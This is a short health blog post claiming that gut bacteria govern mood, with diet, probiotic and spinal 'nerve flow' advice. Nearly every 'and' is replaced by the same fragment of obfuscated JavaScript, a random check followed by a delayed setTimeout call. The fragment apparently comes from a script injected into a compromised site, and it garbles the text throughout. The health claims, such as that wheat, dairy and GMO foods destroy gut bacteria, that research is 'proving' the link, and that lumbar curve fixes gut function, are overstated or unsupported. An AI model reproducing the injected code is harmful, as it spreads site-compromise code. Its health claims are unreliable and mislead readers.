What if your moods were not controled by the circumstances in your life? What if something inside your body dictated your happiness, your outlook on life, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and maybe even your anger levels?Well, guess what? There is growing evidence that our gut bacteria has a STRONG connection to our moods.

How does this work?

Neurotransmitters are chemicals our bodies make that control our moods. They are made in the gut andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sent to the brain to be used. What new research is now proving to us is that if the bacteria in your gut is out of balance key neurotransmitters like epinephrine, norepinephrine, dopamine, seratonin, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and GABA will not be produced.

These are key chemicals you need to be happy!

Gut bacteria andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and brain function is the new frontier of health research right now. There is still so much for us to understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, but more andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more research is linking both mental andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and physical health to the health of our gut.

In fact, a recent study came out this week linking toddler temper tantrums to changes in gut bacteria. Imagine if your child's behavioral outbursts could be solved by eating the right foods andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and giving them a probiotic?

So what can you do to keep your gut bacteria healthy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and producing lots of neurotransmitters?

1. Avoid foods that destroy gut bacteria such as wheat, dairy, gmo foods, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and processed bad oils.

2. Take a high quality food based probitotic. My favorite is Garden Of Life. You want to take 50-100 billion    CFU count.

3. Improve the nerve flow to your gut. If you weaken the nerve flow from your brain to your gut, your gut    will not function right. Best way to improve nerve flow is to maintain a healthy curve in your lumbar spine.

After 20 years of coaching people to better health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seeing over 15,000 patients, I am convinced that when your gut andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nervous system weaken, your health will begin to suffer. Repair those two systems andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your will reset your health.

Hope that helps! I'm cheering you on to better health!!

Reach out if you need anything.

Have an awesome day!!
